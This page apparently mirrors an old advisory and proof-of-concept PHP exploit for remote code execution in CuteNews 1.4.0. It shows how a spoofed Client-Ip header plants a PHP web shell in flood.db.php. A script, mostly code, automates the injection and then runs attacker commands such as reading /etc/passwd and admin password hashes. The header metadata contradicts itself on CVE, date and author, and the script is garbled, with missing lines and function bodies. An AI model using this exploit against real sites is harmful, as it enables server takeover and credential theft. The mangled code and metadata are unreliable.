CuteNews 1.4.0 remote code execution

CVE Category Price Severity
CVE-2020-5778 CWE-94 $3,000 Critical
Author Risk Exploitation Type Date
Mehmet Ince High Remote 2005-10-05

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

CuteNews 1.4.0 (possibly prior versions) remote code execution



description: "Cute news is a powerful and easy for using news management 
system that use flat files to store its database. It supports comments, archives, 
search function, image uploading, backup function, IP banning, flood protection ..."

in flood protection code, look at this code inside /inc/

    // Get the IP
        $foundip = TRUE;
   [!]  if (getenv("HTTP_CLIENT_IP")) $ip = getenv("HTTP_CLIENT_IP");                                                      [!]
        else if(getenv("REMOTE_ADDR")) $ip = getenv("REMOTE_ADDR");
        else if(getenv("HTTP_X_FORWARDED_FOR")) $ip = getenv("HTTP_X_FORWARDED_FOR");
        else {$ip = "not detected"; $foundip = FALSE;}
   [!]  if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;} //ensure that what we have is a real IP [!]

many people, I think, simply doesn't know what is HTTP_CLIENT_IP header, you can
easily set and spoof it in a request packet, example:

POST /somescript.php HTTP/1.0
User-Agent: somebrowser


this line:

if( $foundip and !ip2long($ip) ){ $ip = "not detected"; $foundip = FALSE;} 

is simply a non-sense, because ip2long($ip) is always true, so we can inject PHP code
in Client-Ip field.

The flood protection features stores data in a temporary file with php extension,
/data/flood.db.php, usually we have something like this:


but this time we have:

1126976551|<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>|1126966862|


so you can launch commands until a user post another comment to an article:


to see /etc/passwd file


to see password hashes of any admin / user

and so on...

this is my proof of concept exploit, handle with care eehehehehe:

#   cutenxpl.php                                                               #
#                                                                              #
#          CuteNews 1.4.0(possibly prior versions) remote code execution       #
#                              by rgod                                         #
#                  site:                            #
#                                                                              #
#  usage: launch form Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun Tzu: "In the  practical art of war, the  best thing of all  is to  take #
#  the enemy's  country whole and  intact;  to  shatter and destroy it is  not #
#  so good. So, too, it is better to recapture an army entire than to  destroy #
#  it, to capture a regiment, a detachment or a company entire than to destroy #
#  them."                                                                      #

ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title>CuteNews <= 1.4.0  remote  commands  execution </title>  <meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> CuteNews  <=
1 . 4 . 0  (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href=""    target="_blank"></a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&main=value">   <p>       <input type=
"text" name="host"><span class="Stile5">hostname (ex:  </span>
</p><p><input type="text" name="path"><span class="Stile5">  path (ex: /cute/ or
just /) </span></p><p><input type="text" name="main"><span class="Stile5"> main
page where article are listed, ex: in default installation "example2.php"</span>
</p><p><input type="text"name="port"><span class="Stile5"> specify a port  other
than 80 ( default value ) </span> </p>  <p>  <input  type="text" name="command">
<span  class="Stile5"> a Unix command , example: ls -la  to list directories, ca
t /etc/passwd to show passwd file </span></p><p><input type="text" name="proxy">
<span class="Stile5">  send exploit through an HTTP  proxy (ip:port) </span></p>
<p>   <input   type="submit" name="Submit"  value="go!"> </p></form> </td> </tr>

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>  </td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket($packet)
global $proxy, $host, $port, $html;
if ($proxy=='')
    if (!eregi($proxy_regex,$proxy))
    {echo htmlentities($proxy).' -> not a valid proxy...';
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    if (!$ock) { echo 'No response from proxy...';
if ($proxy=='')

    while (!feof($ock))
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
echo nl2br(htmlentities($html));

if (($path<>'') and ($host<>'') and ($command<>'') and ($main<>''))
  if ($port=='') {$port=80;}

#STEP 1 -> Retrieve an article id
if ($proxy=='')
{$packet="GET ".$path.$main." HTTP/1.0 rn";}
{$packet="GET ".$host.$path.$main." HTTP/1.0 rn";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet); //show the packet for debugging purposes 
echo '<br><br>Article ID -> '.htmlentities($articleid).'<br><br>';

#STEP 2 -> Inject a shell in flood.db.php

$shell='<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>'; //customize it for your own pleasure...
$title=':)'; //comment title
$comment='Very glad to read such a good article! You should win Pulitzer prize!'; //customize here

if ($proxy=='')
{$packet="POST ".$path.$main."?subaction=showcomments&id=".urlencode($articleid)."&arch
ive=&start_from=&ucat=1& HTTP/1.1rn";}
{$packet="POST http://".$host.$path.$main."?subaction=showcomments&id=".urlencode($arti
cleid)."&archive=&start_from=&ucat=1& HTTP/1.1rn";}

$packet.="User-Agent: msnbot/1.0 (+";
$packet.="Client-Ip: ".$shell."rn"; //spoof HTTP_CLIENT_IP var...
$packet.="Host: ".$host."rn";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rn";
$packet.="Accept-Language: it,en;q=0.9rn";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1rn";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0rn";
$packet.="Referer: http://".$host.$path."example2.php?subaction=showcomments&id=".urlencode
$packet.="Connection: Keep-Alive, TErn";
$packet.="TE: deflate, gzip, chunked, identity, trailersrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Content-Length: ".strlen($data)."rnrn";
show($packet); // debugging...

# STEP 3 -> Launch commands
echo '<br> If CuteNews is unpatched and vulnerable, now you will see '.htmlentities($command).' output...<br>';
if ($proxy=='')
{$packet="GET ".$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 rn";}
{$packet="GET ".$host.$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 rn";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closernrn";
show($packet); //debugging...
{echo 'fill in all requested fields...';}

mail: retrogod [at] aliceposta it
original advisory:

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